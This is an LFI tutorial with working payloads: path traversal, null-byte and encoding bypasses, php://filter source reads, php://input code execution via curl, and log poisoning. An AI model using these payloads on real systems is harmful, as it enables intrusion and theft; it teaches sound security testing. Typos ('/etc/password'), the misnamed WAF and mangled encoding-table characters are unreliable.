Local File Inclusion (LFI)

LFI

Many programming languages, such as php, are able to read files and process them to generate dynamic HTML pages.
This feature can be hijacked by user crafted variable.

For exemple:
The URI http://10.10.10.11/index.php?page=login.php is sent to the server. The server receive the request extract the page field 'login.php' and process this file to generate the HTML login page.

Let replace 'login.php' by another file such as '/etc/passwd', that will be processed by php.

http://10.10.10.11/index.php?page=/etc/password

Php commands are enclosed between <?php and ?> tags. When parsing a file without those tags, php simply print the file content.

Apache web server working directory is usually /var/www/html.
Setting page=/etc/passwd, the server tries to open the file /var/www/html/etc/passwd.
Let add /../ to the path to reach the upper directory.

/var/www/html/../etc/passwd => /var/www/etc/passwd.
/var/www/html/../../etc/passwd => /var/etc/passwd.

We can add as many ../../../../../ as we want, we can't go upper than /.
/var/www/html/../../../../../../../ => /, regardless of the number of ../

http://10.10.10.11?page=../../../../../etc/passwd

An LFI can read/execute ALL files, the web server account is allowed to read.

The server extracts 'page' parameter from request http://10.10.10.11/index.php?page=login, and appends an extension such as '.php' before including it.

http://10.10.10.11/index.php?page=/etc/password tries without succes to open /etc/password.php.

On php version older than 5.3.4, adding a null byte at the end of our parameter will mean the end of the string, and leads to ignoring the extension '.php'.

http://10.10.10.11/index.php?page=/etc/password%00
<   %3C %253C
>   %3E %253E
«   %22 %2522
‘   %27 %2527
/   %2F %252F
.   %2E %252E
=   %3D %253D
–   %2D %252D
:   %3A %253A

Developers, who are aware of the risks of LFI, sometime add functions that will filter the entries.
They detect and remove the ../ and the / in the filename
. This kind of filter is called a Waf: Web Application Filter.

It is possible to bypass these filters in several ways:

Browsers could interpret the encoded characters or even re-encode them. It is usually better to set the desired URL thanks to a curl command or modify/replay using an HTTP proxy.

Php allows to pass files through filters before opening them. It is thus possible to encode a file in base64 before opening it.

http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php 
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php 

It only remains to decode base64 to get the source code of the file.

Php allows to read the content of the HTTP request as a file. It is thus possible to read and execute the raw content of the data in POST with php://input.

curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input

Only works if the option allow_url_include = On is active in the php config. This option is disabled by default.

To inject a Php payload in the log file of a server, just send an HTTP GET request containing php code in the url.
For an ssh or ftp server, inject the payload in login. Use then an LFI on the log file to trigger the payload.

Usual log files locations:
Apache
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/httpd/error_log

Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

Ssh
/var/log/sshd.log

Log files location can be found in webservers config files:
Nginx: /etc/nginx/nginx.conf
Look for : access_log /spool/logs/nginx-access.log